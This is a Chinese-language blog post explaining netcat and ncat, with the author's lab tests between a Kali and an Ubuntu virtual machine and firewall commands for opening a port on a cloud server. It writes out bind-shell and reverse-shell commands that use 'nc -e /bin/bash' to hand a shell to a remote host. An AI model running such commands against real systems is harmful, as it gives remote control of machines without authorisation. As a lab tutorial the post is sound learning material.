关于nc
nc 的全称为 NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat 可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。
事实上我们应该明确,常说的nc指的是netcat,但其实很可能和同叫nc的ncat混淆。
原始netcat(也就是nc),在2007年发布1.10稳定版本之后,就不再更新了。它的原始版本是一个类Unix程序,原作者叫做Hobbit。
而Ncat是Nmap项目的作者Fyodor,在原始Netcat之上新增功能二次开发的另一款强大工具,也就是说Netcat有的功能Ncat都具备,并且Ncat还有更多强大的功能,同时Ncat还在更新。
这里我先使用自己的虚拟机上的kali(server)上的ncat和ubuntu(client)上的netcat做交互测试
测试环境:


正向连接
作为服务端的kali开启监听端口,Ubuntu主动去连接并拿到shell
server:
nc -lvvp 2333 -e /bin/bash
client:
nc 172.16.80.134 2333
效果:


反向连接
作为客户端的Ubuntu主动打开监听端口,由kali将自身的shell反弹给ubuntu
client:
nc -lvp 6666
server:
nc -e /bin/bash 172.16.80.132 6666
效果:

服务器监听
结束了在虚拟机上的监听,试一下用自己的服务器监听
明确一点,开启的监听端口是服务器本身的端口,也就是说监听的是服务器自己的端口
首先我们要打开想要监听的端口
我的服务器是腾讯云的轻量型服务器,起初以为在后台的防火墙界面打开就可以了,后来发现并不是

后台打开但命令查看发现实际上并没有开放

这里涉及到查看端口的命令:
firewall-cmd --list-ports
也可以全部列出来:
firewall-cmd --list-all
正确的打开方法:
firewall-cmd --permanent --add-port=2333/tcp && firewall-cmd --reload

现在打开了,监听并访问该端口

ok了
参考:
linux服务器开放端口命令
Netcat - 你需要知道的一切
netcat和ncat

浙公网安备 33010602011771号